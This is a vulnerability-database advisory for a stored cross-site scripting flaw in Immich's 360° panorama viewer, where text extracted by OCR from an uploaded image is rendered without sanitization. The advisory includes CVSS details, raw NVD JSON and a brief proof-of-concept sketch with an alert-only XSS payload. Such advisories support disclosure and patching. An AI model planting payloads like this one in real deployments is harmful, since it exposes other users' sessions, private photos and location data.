Security Vulnerability Report
中文
CVE-2026-35455 CVSS 7.3 HIGH

CVE-2026-35455

Published: 2026-04-08 19:25:24
Last Modified: 2026-04-15 18:38:01

Description

immich is a high performance self-hosted photo and video management solution. Prior to 2.7.0, sStored Cross-Site Scripting (XSS) in the 360° panorama viewer allows any authenticated user to execute arbitrary JavaScript in the browser of any other user who views the malicious panorama with the OCR overlay enabled. The attacker uploads an equirectangular image containing crafted text; OCR extracts it, and the panorama viewer renders it via innerHTML without sanitization. This enables session hijacking (via persistent API key creation), private photo exfiltration, and access to GPS location history and face biometric data. This vulnerability is fixed in 2.7.0.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:futo:immich:*:*:*:*:*:docker:*:* - VULNERABLE
Immich < 2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC Concept for CVE-2026-35455 * Scenario: Stored XSS via OCR text extraction in Immich Panorama Viewer */ // 1. Attacker prepares an image (equirectangular format) containing the following text hidden in the pixels: var payload = "<img src=x onerror=alert('CVE-2026-35455')>"; // 2. The attacker uploads this image to Immich. // 3. When a victim views the image with OCR Overlay enabled: // The application extracts the text string from the image. // 4. Vulnerable code flow (Concept): // let extractedText = performOCR(imageData); // Returns the string "<img src=x onerror=alert('CVE-2026-35455')>" // document.getElementById('ocr-overlay-container').innerHTML = extractedText; // VULNERABILITY: Direct assignment without sanitization // 5. Result: The JavaScript inside the 'onerror' handler executes.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35455", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:24.357", "lastModified": "2026-04-15T18:38:01.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "immich is a high performance self-hosted photo and video management solution. Prior to 2.7.0, sStored Cross-Site Scripting (XSS) in the 360° panorama viewer allows any authenticated user to execute arbitrary JavaScript in the browser of any other user who views the malicious panorama with the OCR overlay enabled. The attacker uploads an equirectangular image containing crafted text; OCR extracts it, and the panorama viewer renders it via innerHTML without sanitization. This enables session hijacking (via persistent API key creation), private photo exfiltration, and access to GPS location history and face biometric data. This vulnerability is fixed in 2.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:futo:immich:*:*:*:*:*:docker:*:*", "versionStartIncluding": "2.6.0", "versionEndExcluding": "2.7.0", "matchCriteriaId": "5BBDC371-C8D3-4FE4-B132-DFC88F0D1741"}]}]}], "references": [{"url": "https://github.com/immich-app/immich/security/advisories/GHSA-9qx4-67jm-cc66", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}